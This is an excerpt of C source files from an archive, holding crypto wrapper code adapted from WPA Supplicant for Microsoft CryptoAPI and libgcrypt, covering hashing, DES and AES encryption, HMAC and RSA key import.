* @iv: Initialization vector for block ciphers or %NULL for stream ciphers
* @key: Cipher key
* @key_len: Length of key in bytes
* Returns: Pointer to cipher context to use with other cipher functions or
* %NULL on failure
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
const u8 *iv, const u8 *key,
size_t key_len);
/**
* crypto_cipher_encrypt - Cipher encrypt
* @ctx: Context pointer from crypto_cipher_init()
* @plain: Plaintext to cipher
* @crypt: Resulting ciphertext
* @len: Length of the plaintext
* Returns: 0 on success, -1 on failure
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
int __must_check crypto_cipher_encrypt(struct crypto_cipher *ctx,
const u8 *plain, u8 *crypt, size_t len);
/**
* crypto_cipher_decrypt - Cipher decrypt
* @ctx: Context pointer from crypto_cipher_init()
* @crypt: Ciphertext to decrypt
* @plain: Resulting plaintext
* @len: Length of the cipher text
* Returns: 0 on success, -1 on failure
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
int __must_check crypto_cipher_decrypt(struct crypto_cipher *ctx,
const u8 *crypt, u8 *plain, size_t len);
/**
* crypto_cipher_decrypt - Free cipher context
* @ctx: Context pointer from crypto_cipher_init()
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
void crypto_cipher_deinit(struct crypto_cipher *ctx);
struct crypto_public_key;
struct crypto_private_key;
/**
* crypto_public_key_import - Import an RSA public key
* @key: Key buffer (DER encoded RSA public key)
* @len: Key buffer length in bytes
* Returns: Pointer to the public key or %NULL on failure
*
* This function can just return %NULL if the crypto library supports X.509
* parsing. In that case, crypto_public_key_from_cert() is used to import the
* public key from a certificate.
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len);
/**
* crypto_private_key_import - Import an RSA private key
* @key: Key buffer (DER encoded RSA private key)
* @len: Key buffer length in bytes
* @passwd: Key encryption password or %NULL if key is not encrypted
* Returns: Pointer to the private key or %NULL on failure
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
struct crypto_private_key * crypto_private_key_import(const u8 *key,
size_t len,
const char *passwd);
/**
* crypto_public_key_from_cert - Import an RSA public key from a certificate
* @buf: DER encoded X.509 certificate
* @len: Certificate buffer length in bytes
* Returns: Pointer to public key or %NULL on failure
*
* This function can just return %NULL if the crypto library does not support
* X.509 parsing. In that case, internal code will be used to parse the
* certificate and public key is imported using crypto_public_key_import().
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf,
size_t len);
/**
* crypto_public_key_encrypt_pkcs1_v15 - Public key encryption (PKCS #1 v1.5)
* @key: Public key
* @in: Plaintext buffer
* @inlen: Length of plaintext buffer in bytes
* @out: Output buffer for encrypted data
* @outlen: Length of output buffer in bytes; set to used length on success
* Returns: 0 on success, -1 on failure
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
int __must_check crypto_public_key_encrypt_pkcs1_v15(
struct crypto_public_key *key, const u8 *in, size_t inlen,
u8 *out, size_t *outlen);
/**
* crypto_private_key_decrypt_pkcs1_v15 - Private key decryption (PKCS #1 v1.5)
* @key: Private key
* @in: Encrypted buffer
* @inlen: Length of encrypted buffer in bytes
* @out: Output buffer for encrypted data
* @outlen: Length of output buffer in bytes; set to used length on success
* Returns: 0 on success, -1 on failure
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
int __must_check crypto_private_key_decrypt_pkcs1_v15(
struct crypto_private_key *key, const u8 *in, size_t inlen,
u8 *out, size_t *outlen);
/**
* crypto_private_key_sign_pkcs1 - Sign with private key (PKCS #1)
* @key: Private key from crypto_private_key_import()
* @in: Plaintext buffer
* @inlen: Length of plaintext buffer in bytes
* @out: Output buffer for encrypted (signed) data
* @outlen: Length of output buffer in bytes; set to used length on success
* Returns: 0 on success, -1 on failure
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
int __must_check crypto_private_key_sign_pkcs1(struct crypto_private_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen);
/**
* crypto_public_key_free - Free public key
* @key: Public key
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
void crypto_public_key_free(struct crypto_public_key *key);
/**
* crypto_private_key_free - Free private key
* @key: Private key from crypto_private_key_import()
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
void crypto_private_key_free(struct crypto_private_key *key);
/**
* crypto_public_key_decrypt_pkcs1 - Decrypt PKCS #1 signature
* @key: Public key
* @crypt: Encrypted signature data (using the private key)
* @crypt_len: Encrypted signature data length
* @plain: Buffer for plaintext (at least crypt_len bytes)
* @plain_len: Plaintext length (max buffer size on input, real len on output);
* Returns: 0 on success, -1 on failure
*/
int __must_check crypto_public_key_decrypt_pkcs1(
struct crypto_public_key *key, const u8 *crypt, size_t crypt_len,
u8 *plain, size_t *plain_len);
/**
* crypto_global_init - Initialize crypto wrapper
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
int __must_check crypto_global_init(void);
/**
* crypto_global_deinit - Deinitialize crypto wrapper
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
void crypto_global_deinit(void);
/**
* crypto_mod_exp - Modular exponentiation of large integers
* @base: Base integer (big endian byte array)
* @base_len: Length of base integer in bytes
* @power: Power integer (big endian byte array)
* @power_len: Length of power integer in bytes
* @modulus: Modulus integer (big endian byte array)
* @modulus_len: Length of modulus integer in bytes
* @result: Buffer for the result
* @result_len: Result length (max buffer size on input, real len on output)
* Returns: 0 on success, -1 on failure
*
* This function calculates result = base ^ power mod modulus. modules_len is
* used as the maximum size of modulus buffer. It is set to the used size on
* success.
*
* This function is only used with internal TLSv1 implementation
* (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need
* to implement this.
*/
int __must_check crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len);
/**
* rc4_skip - XOR RC4 stream to given data with skip-stream-start
* @key: RC4 key
* @keylen: RC4 key length
* @skip: number of bytes to skip from the beginning of the RC4 stream
* @data: data to be XOR'ed with RC4 stream
* @data_len: buf length
* Returns: 0 on success, -1 on failure
*
* Generate RC4 pseudo random stream for the given key, skip beginning of the
* stream, and XOR the end result with the data buffer to perform RC4
* encryption/decryption.
*/
int rc4_skip(const u8 *key, size_t keylen, size_t skip,
u8 *data, size_t data_len);
#endif /* CRYPTO_H */
bully-1.4-00/src/crypto/crypto_cryptoapi.c 0000775 0000000 0000000 00000040261 13615304636 0020624 0 ustar 00root root 0000000 0000000 /*
* Crypto wrapper for Microsoft CryptoAPI
* Copyright (c) 2005-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include
#include "common.h"
#include "crypto.h"
#ifndef MS_ENH_RSA_AES_PROV
#ifdef UNICODE
#define MS_ENH_RSA_AES_PROV \
L"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)"
#else
#define MS_ENH_RSA_AES_PROV \
"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)"
#endif
#endif /* MS_ENH_RSA_AES_PROV */
#ifndef CALG_HMAC
#define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC)
#endif
#ifdef __MINGW32_VERSION
/*
* MinGW does not yet include all the needed definitions for CryptoAPI, so
* define here whatever extra is needed.
*/
static BOOL WINAPI
(*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType,
PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY *phKey)
= NULL; /* to be loaded from crypt32.dll */
static int mingw_load_crypto_func(void)
{
HINSTANCE dll;
/* MinGW does not yet have full CryptoAPI support, so load the needed
* function here. */
if (CryptImportPublicKeyInfo)
return 0;
dll = LoadLibrary("crypt32");
if (dll == NULL) {
wpa_printf(MSG_DEBUG, "CryptoAPI: Could not load crypt32 "
"library");
return -1;
}
CryptImportPublicKeyInfo = GetProcAddress(
dll, "CryptImportPublicKeyInfo");
if (CryptImportPublicKeyInfo == NULL) {
wpa_printf(MSG_DEBUG, "CryptoAPI: Could not get "
"CryptImportPublicKeyInfo() address from "
"crypt32 library");
return -1;
}
return 0;
}
#else /* __MINGW32_VERSION */
static int mingw_load_crypto_func(void)
{
return 0;
}
#endif /* __MINGW32_VERSION */
static void cryptoapi_report_error(const char *msg)
{
char *s, *pos;
DWORD err = GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL, err, 0, (LPTSTR) &s, 0, NULL) == 0) {
wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d", msg, (int) err);
}
pos = s;
while (*pos) {
if (*pos == '\n' || *pos == '\r') {
*pos = '\0';
break;
}
pos++;
}
wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d: (%s)", msg, (int) err, s);
LocalFree(s);
}
int cryptoapi_hash_vector(ALG_ID alg, size_t hash_len, size_t num_elem,
const u8 *addr[], const size_t *len, u8 *mac)
{
HCRYPTPROV prov;
HCRYPTHASH hash;
size_t i;
DWORD hlen;
int ret = 0;
if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, 0)) {
cryptoapi_report_error("CryptAcquireContext");
return -1;
}
if (!CryptCreateHash(prov, alg, 0, 0, &hash)) {
cryptoapi_report_error("CryptCreateHash");
CryptReleaseContext(prov, 0);
return -1;
}
for (i = 0; i < num_elem; i++) {
if (!CryptHashData(hash, (BYTE *) addr[i], len[i], 0)) {
cryptoapi_report_error("CryptHashData");
CryptDestroyHash(hash);
CryptReleaseContext(prov, 0);
}
}
hlen = hash_len;
if (!CryptGetHashParam(hash, HP_HASHVAL, mac, &hlen, 0)) {
cryptoapi_report_error("CryptGetHashParam");
ret = -1;
}
CryptDestroyHash(hash);
CryptReleaseContext(prov, 0);
return ret;
}
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return cryptoapi_hash_vector(CALG_MD4, 16, num_elem, addr, len, mac);
}
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
{
u8 next, tmp;
int i;
HCRYPTPROV prov;
HCRYPTKEY ckey;
DWORD dlen;
struct {
BLOBHEADER hdr;
DWORD len;
BYTE key[8];
} key_blob;
DWORD mode = CRYPT_MODE_ECB;
key_blob.hdr.bType = PLAINTEXTKEYBLOB;
key_blob.hdr.bVersion = CUR_BLOB_VERSION;
key_blob.hdr.reserved = 0;
key_blob.hdr.aiKeyAlg = CALG_DES;
key_blob.len = 8;
/* Add parity bits to the key */
next = 0;
for (i = 0; i < 7; i++) {
tmp = key[i];
key_blob.key[i] = (tmp >> i) | next | 1;
next = tmp << (7 - i);
}
key_blob.key[i] = next | 1;
if (!CryptAcquireContext(&prov, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: "
"%d", (int) GetLastError());
return;
}
if (!CryptImportKey(prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0,
&ckey)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d",
(int) GetLastError());
CryptReleaseContext(prov, 0);
return;
}
if (!CryptSetKeyParam(ckey, KP_MODE, (BYTE *) &mode, 0)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) "
"failed: %d", (int) GetLastError());
CryptDestroyKey(ckey);
CryptReleaseContext(prov, 0);
return;
}
os_memcpy(cypher, clear, 8);
dlen = 8;
if (!CryptEncrypt(ckey, 0, FALSE, 0, cypher, &dlen, 8)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d",
(int) GetLastError());
os_memset(cypher, 0, 8);
}
CryptDestroyKey(ckey);
CryptReleaseContext(prov, 0);
}
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return cryptoapi_hash_vector(CALG_MD5, 16, num_elem, addr, len, mac);
}
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
return cryptoapi_hash_vector(CALG_SHA, 20, num_elem, addr, len, mac);
}
struct aes_context {
HCRYPTPROV prov;
HCRYPTKEY ckey;
};
void * aes_encrypt_init(const u8 *key, size_t len)
{
struct aes_context *akey;
struct {
BLOBHEADER hdr;
DWORD len;
BYTE key[16];
} key_blob;
DWORD mode = CRYPT_MODE_ECB;
if (len != 16)
return NULL;
key_blob.hdr.bType = PLAINTEXTKEYBLOB;
key_blob.hdr.bVersion = CUR_BLOB_VERSION;
key_blob.hdr.reserved = 0;
key_blob.hdr.aiKeyAlg = CALG_AES_128;
key_blob.len = len;
os_memcpy(key_blob.key, key, len);
akey = os_zalloc(sizeof(*akey));
if (akey == NULL)
return NULL;
if (!CryptAcquireContext(&akey->prov, NULL,
MS_ENH_RSA_AES_PROV, PROV_RSA_AES,
CRYPT_VERIFYCONTEXT)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: "
"%d", (int) GetLastError());
os_free(akey);
return NULL;
}
if (!CryptImportKey(akey->prov, (BYTE *) &key_blob, sizeof(key_blob),
0, 0, &akey->ckey)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d",
(int) GetLastError());
CryptReleaseContext(akey->prov, 0);
os_free(akey);
return NULL;
}
if (!CryptSetKeyParam(akey->ckey, KP_MODE, (BYTE *) &mode, 0)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) "
"failed: %d", (int) GetLastError());
CryptDestroyKey(akey->ckey);
CryptReleaseContext(akey->prov, 0);
os_free(akey);
return NULL;
}
return akey;
}
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
{
struct aes_context *akey = ctx;
DWORD dlen;
os_memcpy(crypt, plain, 16);
dlen = 16;
if (!CryptEncrypt(akey->ckey, 0, FALSE, 0, crypt, &dlen, 16)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d",
(int) GetLastError());
os_memset(crypt, 0, 16);
}
}
void aes_encrypt_deinit(void *ctx)
{
struct aes_context *akey = ctx;
if (akey) {
CryptDestroyKey(akey->ckey);
CryptReleaseContext(akey->prov, 0);
os_free(akey);
}
}
void * aes_decrypt_init(const u8 *key, size_t len)
{
return aes_encrypt_init(key, len);
}
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
{
struct aes_context *akey = ctx;
DWORD dlen;
os_memcpy(plain, crypt, 16);
dlen = 16;
if (!CryptDecrypt(akey->ckey, 0, FALSE, 0, plain, &dlen)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptDecrypt failed: %d",
(int) GetLastError());
}
}
void aes_decrypt_deinit(void *ctx)
{
aes_encrypt_deinit(ctx);
}
struct crypto_hash {
enum crypto_hash_alg alg;
int error;
HCRYPTPROV prov;
HCRYPTHASH hash;
HCRYPTKEY key;
};
struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key,
size_t key_len)
{
struct crypto_hash *ctx;
ALG_ID calg;
struct {
BLOBHEADER hdr;
DWORD len;
BYTE key[32];
} key_blob;
os_memset(&key_blob, 0, sizeof(key_blob));
switch (alg) {
case CRYPTO_HASH_ALG_MD5:
calg = CALG_MD5;
break;
case CRYPTO_HASH_ALG_SHA1:
calg = CALG_SHA;
break;
case CRYPTO_HASH_ALG_HMAC_MD5:
case CRYPTO_HASH_ALG_HMAC_SHA1:
calg = CALG_HMAC;
key_blob.hdr.bType = PLAINTEXTKEYBLOB;
key_blob.hdr.bVersion = CUR_BLOB_VERSION;
key_blob.hdr.reserved = 0;
/*
* Note: RC2 is not really used, but that can be used to
* import HMAC keys of up to 16 byte long.
* CRYPT_IPSEC_HMAC_KEY flag for CryptImportKey() is needed to
* be able to import longer keys (HMAC-SHA1 uses 20-byte key).
*/
key_blob.hdr.aiKeyAlg = CALG_RC2;
key_blob.len = key_len;
if (key_len > sizeof(key_blob.key))
return NULL;
os_memcpy(key_blob.key, key, key_len);
break;
default:
return NULL;
}
ctx = os_zalloc(sizeof(*ctx));
if (ctx == NULL)
return NULL;
ctx->alg = alg;
if (!CryptAcquireContext(&ctx->prov, NULL, NULL, PROV_RSA_FULL, 0)) {
cryptoapi_report_error("CryptAcquireContext");
os_free(ctx);
return NULL;
}
if (calg == CALG_HMAC) {
#ifndef CRYPT_IPSEC_HMAC_KEY
#define CRYPT_IPSEC_HMAC_KEY 0x00000100
#endif
if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob,
sizeof(key_blob), 0, CRYPT_IPSEC_HMAC_KEY,
&ctx->key)) {
cryptoapi_report_error("CryptImportKey");
CryptReleaseContext(ctx->prov, 0);
os_free(ctx);
return NULL;
}
}
if (!CryptCreateHash(ctx->prov, calg, ctx->key, 0, &ctx->hash)) {
cryptoapi_report_error("CryptCreateHash");
CryptReleaseContext(ctx->prov, 0);
os_free(ctx);
return NULL;
}
if (calg == CALG_HMAC) {
HMAC_INFO info;
os_memset(&info, 0, sizeof(info));
switch (alg) {
case CRYPTO_HASH_ALG_HMAC_MD5:
info.HashAlgid = CALG_MD5;
break;
case CRYPTO_HASH_ALG_HMAC_SHA1:
info.HashAlgid = CALG_SHA;
break;
default:
/* unreachable */
break;
}
if (!CryptSetHashParam(ctx->hash, HP_HMAC_INFO, (BYTE *) &info,
0)) {
cryptoapi_report_error("CryptSetHashParam");
CryptDestroyHash(ctx->hash);
CryptReleaseContext(ctx->prov, 0);
os_free(ctx);
return NULL;
}
}
return ctx;
}
void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len)
{
if (ctx == NULL || ctx->error)
return;
if (!CryptHashData(ctx->hash, (BYTE *) data, len, 0)) {
cryptoapi_report_error("CryptHashData");
ctx->error = 1;
}
}
int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len)
{
int ret = 0;
DWORD hlen;
if (ctx == NULL)
return -2;
if (mac == NULL || len == NULL)
goto done;
if (ctx->error) {
ret = -2;
goto done;
}
hlen = *len;
if (!CryptGetHashParam(ctx->hash, HP_HASHVAL, mac, &hlen, 0)) {
cryptoapi_report_error("CryptGetHashParam");
ret = -2;
}
*len = hlen;
done:
if (ctx->alg == CRYPTO_HASH_ALG_HMAC_SHA1 ||
ctx->alg == CRYPTO_HASH_ALG_HMAC_MD5)
CryptDestroyKey(ctx->key);
os_free(ctx);
return ret;
}
struct crypto_cipher {
HCRYPTPROV prov;
HCRYPTKEY key;
};
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
const u8 *iv, const u8 *key,
size_t key_len)
{
struct crypto_cipher *ctx;
struct {
BLOBHEADER hdr;
DWORD len;
BYTE key[32];
} key_blob;
DWORD mode = CRYPT_MODE_CBC;
key_blob.hdr.bType = PLAINTEXTKEYBLOB;
key_blob.hdr.bVersion = CUR_BLOB_VERSION;
key_blob.hdr.reserved = 0;
key_blob.len = key_len;
if (key_len > sizeof(key_blob.key))
return NULL;
os_memcpy(key_blob.key, key, key_len);
switch (alg) {
case CRYPTO_CIPHER_ALG_AES:
if (key_len == 32)
key_blob.hdr.aiKeyAlg = CALG_AES_256;
else if (key_len == 24)
key_blob.hdr.aiKeyAlg = CALG_AES_192;
else
key_blob.hdr.aiKeyAlg = CALG_AES_128;
break;
case CRYPTO_CIPHER_ALG_3DES:
key_blob.hdr.aiKeyAlg = CALG_3DES;
break;
case CRYPTO_CIPHER_ALG_DES:
key_blob.hdr.aiKeyAlg = CALG_DES;
break;
case CRYPTO_CIPHER_ALG_RC2:
key_blob.hdr.aiKeyAlg = CALG_RC2;
break;
case CRYPTO_CIPHER_ALG_RC4:
key_blob.hdr.aiKeyAlg = CALG_RC4;
break;
default:
return NULL;
}
ctx = os_zalloc(sizeof(*ctx));
if (ctx == NULL)
return NULL;
if (!CryptAcquireContext(&ctx->prov, NULL, MS_ENH_RSA_AES_PROV,
PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
cryptoapi_report_error("CryptAcquireContext");
goto fail1;
}
if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob,
sizeof(key_blob), 0, 0, &ctx->key)) {
cryptoapi_report_error("CryptImportKey");
goto fail2;
}
if (!CryptSetKeyParam(ctx->key, KP_MODE, (BYTE *) &mode, 0)) {
cryptoapi_report_error("CryptSetKeyParam(KP_MODE)");
goto fail3;
}
if (iv && !CryptSetKeyParam(ctx->key, KP_IV, (BYTE *) iv, 0)) {
cryptoapi_report_error("CryptSetKeyParam(KP_IV)");
goto fail3;
}
return ctx;
fail3:
CryptDestroyKey(ctx->key);
fail2:
CryptReleaseContext(ctx->prov, 0);
fail1:
os_free(ctx);
return NULL;
}
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
u8 *crypt, size_t len)
{
DWORD dlen;
os_memcpy(crypt, plain, len);
dlen = len;
if (!CryptEncrypt(ctx->key, 0, FALSE, 0, crypt, &dlen, len)) {
cryptoapi_report_error("CryptEncrypt");
os_memset(crypt, 0, len);
return -1;
}
return 0;
}
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
u8 *plain, size_t len)
{
DWORD dlen;
os_memcpy(plain, crypt, len);
dlen = len;
if (!CryptDecrypt(ctx->key, 0, FALSE, 0, plain, &dlen)) {
cryptoapi_report_error("CryptDecrypt");
return -1;
}
return 0;
}
void crypto_cipher_deinit(struct crypto_cipher *ctx)
{
CryptDestroyKey(ctx->key);
CryptReleaseContext(ctx->prov, 0);
os_free(ctx);
}
struct crypto_public_key {
HCRYPTPROV prov;
HCRYPTKEY rsa;
};
struct crypto_private_key {
HCRYPTPROV prov;
HCRYPTKEY rsa;
};
struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len)
{
/* Use crypto_public_key_from_cert() instead. */
return NULL;
}
struct crypto_private_key * crypto_private_key_import(const u8 *key,
size_t len,
const char *passwd)
{
/* TODO */
return NULL;
}
struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf,
size_t len)
{
struct crypto_public_key *pk;
PCCERT_CONTEXT cc;
pk = os_zalloc(sizeof(*pk));
if (pk == NULL)
return NULL;
cc = CertCreateCertificateContext(X509_ASN_ENCODING |
PKCS_7_ASN_ENCODING, buf, len);
if (!cc) {
cryptoapi_report_error("CryptCreateCertificateContext");
os_free(pk);
return NULL;
}
if (!CryptAcquireContext(&pk->prov, NULL, MS_DEF_PROV, PROV_RSA_FULL,
0)) {
cryptoapi_report_error("CryptAcquireContext");
os_free(pk);
CertFreeCertificateContext(cc);
return NULL;
}
if (!CryptImportPublicKeyInfo(pk->prov, X509_ASN_ENCODING |
PKCS_7_ASN_ENCODING,
&cc->pCertInfo->SubjectPublicKeyInfo,
&pk->rsa)) {
cryptoapi_report_error("CryptImportPublicKeyInfo");
CryptReleaseContext(pk->prov, 0);
os_free(pk);
CertFreeCertificateContext(cc);
return NULL;
}
CertFreeCertificateContext(cc);
return pk;
}
int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
DWORD clen;
u8 *tmp;
size_t i;
if (*outlen < inlen)
return -1;
tmp = malloc(*outlen);
if (tmp == NULL)
return -1;
os_memcpy(tmp, in, inlen);
clen = inlen;
if (!CryptEncrypt(key->rsa, 0, TRUE, 0, tmp, &clen, *outlen)) {
wpa_printf(MSG_DEBUG, "CryptoAPI: Failed to encrypt using "
"public key: %d", (int) GetLastError());
os_free(tmp);
return -1;
}
*outlen = clen;
/* Reverse the output */
for (i = 0; i < *outlen; i++)
out[i] = tmp[*outlen - 1 - i];
os_free(tmp);
return 0;
}
int crypto_private_key_sign_pkcs1(struct crypto_private_key *key,
const u8 *in, size_t inlen,
u8 *out, size_t *outlen)
{
/* TODO */
return -1;
}
void crypto_public_key_free(struct crypto_public_key *key)
{
if (key) {
CryptDestroyKey(key->rsa);
CryptReleaseContext(key->prov, 0);
os_free(key);
}
}
void crypto_private_key_free(struct crypto_private_key *key)
{
if (key) {
CryptDestroyKey(key->rsa);
CryptReleaseContext(key->prov, 0);
os_free(key);
}
}
int crypto_global_init(void)
{
return mingw_load_crypto_func();
}
void crypto_global_deinit(void)
{
}
int crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len)
{
/* TODO */
return -1;
}
bully-1.4-00/src/crypto/crypto_gnutls.c 0000775 0000000 0000000 00000015555 13615304636 0020136 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant / wrapper functions for libgcrypt
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include
#include "common.h"
#include "crypto.h"
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
gcry_md_hd_t hd;
unsigned char *p;
size_t i;
if (gcry_md_open(&hd, GCRY_MD_MD4, 0) != GPG_ERR_NO_ERROR)
return -1;
for (i = 0; i < num_elem; i++)
gcry_md_write(hd, addr[i], len[i]);
p = gcry_md_read(hd, GCRY_MD_MD4);
if (p)
memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD4));
gcry_md_close(hd);
return 0;
}
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
{
gcry_cipher_hd_t hd;
u8 pkey[8], next, tmp;
int i;
/* Add parity bits to the key */
next = 0;
for (i = 0; i < 7; i++) {
tmp = key[i];
pkey[i] = (tmp >> i) | next | 1;
next = tmp << (7 - i);
}
pkey[i] = next | 1;
gcry_cipher_open(&hd, GCRY_CIPHER_DES, GCRY_CIPHER_MODE_ECB, 0);
gcry_err_code(gcry_cipher_setkey(hd, pkey, 8));
gcry_cipher_encrypt(hd, cypher, 8, clear, 8);
gcry_cipher_close(hd);
}
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
gcry_md_hd_t hd;
unsigned char *p;
size_t i;
if (gcry_md_open(&hd, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR)
return -1;
for (i = 0; i < num_elem; i++)
gcry_md_write(hd, addr[i], len[i]);
p = gcry_md_read(hd, GCRY_MD_MD5);
if (p)
memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD5));
gcry_md_close(hd);
return 0;
}
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
{
gcry_md_hd_t hd;
unsigned char *p;
size_t i;
if (gcry_md_open(&hd, GCRY_MD_SHA1, 0) != GPG_ERR_NO_ERROR)
return -1;
for (i = 0; i < num_elem; i++)
gcry_md_write(hd, addr[i], len[i]);
p = gcry_md_read(hd, GCRY_MD_SHA1);
if (p)
memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_SHA1));
gcry_md_close(hd);
return 0;
}
void * aes_encrypt_init(const u8 *key, size_t len)
{
gcry_cipher_hd_t hd;
if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) !=
GPG_ERR_NO_ERROR) {
printf("cipher open failed\n");
return NULL;
}
if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) {
printf("setkey failed\n");
gcry_cipher_close(hd);
return NULL;
}
return hd;
}
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
{
gcry_cipher_hd_t hd = ctx;
gcry_cipher_encrypt(hd, crypt, 16, plain, 16);
}
void aes_encrypt_deinit(void *ctx)
{
gcry_cipher_hd_t hd = ctx;
gcry_cipher_close(hd);
}
void * aes_decrypt_init(const u8 *key, size_t len)
{
gcry_cipher_hd_t hd;
if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) !=
GPG_ERR_NO_ERROR)
return NULL;
if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) {
gcry_cipher_close(hd);
return NULL;
}
return hd;
}
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
{
gcry_cipher_hd_t hd = ctx;
gcry_cipher_decrypt(hd, plain, 16, crypt, 16);
}
void aes_decrypt_deinit(void *ctx)
{
gcry_cipher_hd_t hd = ctx;
gcry_cipher_close(hd);
}
int crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len)
{
